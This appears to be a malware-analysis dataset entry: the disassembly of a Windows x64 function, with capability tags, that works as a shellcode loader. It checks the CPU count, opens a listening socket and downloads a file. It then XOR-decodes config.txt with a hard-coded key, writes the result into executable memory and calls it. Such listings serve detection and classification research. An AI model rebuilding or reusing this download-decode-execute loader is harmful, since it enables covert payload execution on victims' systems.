Function at 0x14000baa4
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get system information on windows
Initialize winsock library
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x540
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rsp + 0x520], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x118], 4
jb 0x14000c3c5
call fcn.14000b5c8
test al, al
je 0x14000c3c5
mov r8d, 0x104
lea rdx, [rsp + 0x410]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14000bb4c
lea rdx, str.Error_getting_path
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000e7ec
lea rdx, [0x1400110fc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14000c386
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rbx
lea rax, [rsp + 0x410]
or r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], bl
jne 0x14000bb70
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x68]
call fcn.14000357c
nop
lea rdi, [rsp + 0x68]
cmp qword [rsp + 0x80], 0xf
cmova rdi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
test r14, r14
je 0x14000bc0c
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0x170]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x14001dfe4]
movzx eax, byte [rcx]
mov byte [rsp + rax + 0x170], 1
inc rcx
lea rax, [0x14001dfe6]
cmp rcx, rax
jne 0x14000bbc6
lea rax, [r14 - 1]
mov rcx, r12
cmp rax, r12
cmovb rcx, rax
add rcx, rdi
jmp 0x14000bbfb
cmp rcx, rdi
je 0x14000bc0c
dec rcx
movzx eax, byte [rcx]
cmp byte [rsp + rax + 0x170], bl
je 0x14000bbf3
sub rcx, rdi
jmp 0x14000bc0f
mov rcx, r12
cmp rcx, r12
je 0x14000bc70
inc rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
cmp r14, rcx
jb 0x14000c3d1
sub r14, rcx
mov r8, r12
cmp r14, r12
cmovb r8, r14
lea rdx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
add rdx, rcx
lea rcx, [rsp + 0x48]
call fcn.14000357c
lea rax, [rsp + 0x48]
mov r14d, 5
lea r15d, [r14 - 3]
jmp 0x14000bc8b
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xf8]
call fcn.14000e044
mov r15d, 2
mov r14d, r15d
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd8], xmm0
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe8], xmm6
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov edi, 0x1000
test r15b, r14b
je 0x14000bd18
and r14d, 0xfffffffd
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x14000bd00
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, rdi
jb 0x14000bcfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bcfb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e20
movdqa xmm0, xmmword [0x14001ec40]
movdqu xmmword [rsp + 0x108], xmm0
mov byte [rsp + 0xf8], bl
test r14b, 1
je 0x14000bd5a
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000bd5a
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, rdi
jb 0x14000bd55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bd55
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e20
movq rax, xmm6
cmp rax, 0xf
ja 0x14000c3b9
mov ecx, 0x202
lea rdx, [rsp + 0x270]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000bd93
lea rdx, str.WSAStartup_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000e7ec
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
mov word [rsp + 0xa8], r15w
mov dword [rsp + 0xac], ebx
mov ecx, 0xb5a5
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xaa], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0xa8]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, r12d
jne 0x14000bdf4
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, 3
mov rcx, r14
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, r12d
jne 0x14000be16
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.Listening_on_port
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000e7ec
call fcn.14000afe8
test al, al
je 0x14000c3b9
lea rdx, str._config.dat
lea rcx, [rsp + 0x148]
call fcn.14000d7e0
nop
lea rdx, [0x14001e030]
lea rcx, [rsp + 0x128]
call fcn.14000d7e0
nop
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x148]
call fcn.14000abf8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test al, al
lea rdx, str.File_downloaded_successfully.
jne 0x14000be8e
lea rdx, str.Failed_to_download_file.
call fcn.140010f38
lea rdx, [0x1400110c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x98], xmm1
mov r8d, 0xa
lea rdx, str.config.txt
lea rcx, [rsp + 0x88]
call fcn.14000357c
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8d, 0x28
lea rdx, str.d608dfba235552dc3ec9bfefb4760f87fda7f432
lea rcx, [rsp + 0x48]
call fcn.14000357c
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x30]
call fcn.14000b740
nop
mov r8, rbx
mov r9, qword [rsp + 0x30]
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x48]
cmp qword [rsp + 0x38], r9
je 0x14000bf71
lea rcx, [rsp + 0x48]
cmp r15, 0xf
cmova rcx, r14
xor edx, edx
mov rax, r8
div qword [rsp + 0x58]
mov al, byte [r9 + r8]
xor al, byte [rdx + rcx]
mov byte [r9 + r8], al
inc r8
mov rax, qword [rsp + 0x38]
mov r9, qword [rsp + 0x30]
sub rax, r9
cmp r8, rax
jb 0x14000bf3a
lea rcx, [rsp + 0xb8]
call fcn.140011134
nop
lea rcx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 7
cmova rcx, qword [rsp + 0xb8]
call fcn.140019b24
mov rdx, rax
shr rdx, 0x20
test edx, edx
jne 0x14000c3d7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x14000bfd6
lea rdx, str.File_deleted_successfully.
call fcn.14000e7ec
lea rdx, [0x1400110fc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000bff3
lea rdx, str.File_not_found.
call fcn.14000e7ec
lea rdx, [0x1400110fc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14000c006
mov rdx, qword [rsp + 0x38]
sub rdx, qword [rsp + 0x30]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
jne 0x14000c1d3
lea rdx, str.Memory_allocation_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000e7ec
lea rdx, [0x1400110fc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xb8]
call fcn.14000d77c
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000c0a7
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, rdi
jb 0x14000c093
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c23a
call fcn.140019e20
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rbx
cmp r15, 0xf
jbe 0x14000c0db
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, rdi
jb 0x14000c0d2
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c27c
mov rcx, r14
call fcn.140019e20
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x14000c11a
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, rdi
jb 0x14000c115
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c2c2
call fcn.140019e20
movdqa xmm0, xmmword [0x14001ec40]
movdqu xmmword [rsp + 0x98], xmm0
mov byte [rsp + 0x88], bl
lea rcx, [rsp + 0x128]
call fcn.14000d77c
nop
lea rcx, [rsp + 0x148]
call fcn.14000d77c
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x14000c18e
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, rdi
jb 0x14000c188
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c338
call fcn.140019e20
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x14000bb42
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, rdi
jb 0x14000c1c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c378
call fcn.140019e20
jmp 0x14000bb42
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
sub r8, rdx
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
call r12
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rsp + 0xb8]
call fcn.14000d77c
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000c255
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, rdi
jb 0x14000c241
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c241
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e20
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rbx
cmp r15, 0xf
jbe 0x14000c28c
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, rdi
jb 0x14000c283
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c283
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140019e20
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x14000c2ce
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, rdi
jb 0x14000c2c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c2c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e20
movdqa xmm0, xmmword [0x14001ec40]
movdqu xmmword [rsp + 0x98], xmm0
mov byte [rsp + 0x88], bl
lea rcx, [rsp + 0x128]
call fcn.14000d77c
nop
lea rcx, [rsp + 0x148]
call fcn.14000d77c
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x14000c345
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, rdi
jb 0x14000c33f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c33f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e20
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x14000c384
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, rdi
jb 0x14000c37f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c37f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e20
xor eax, eax
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.140019e00
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
ret
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.14000e6cc
nop
lea r8, [rsp + 0xb8]
call fcn.14000ab98
int3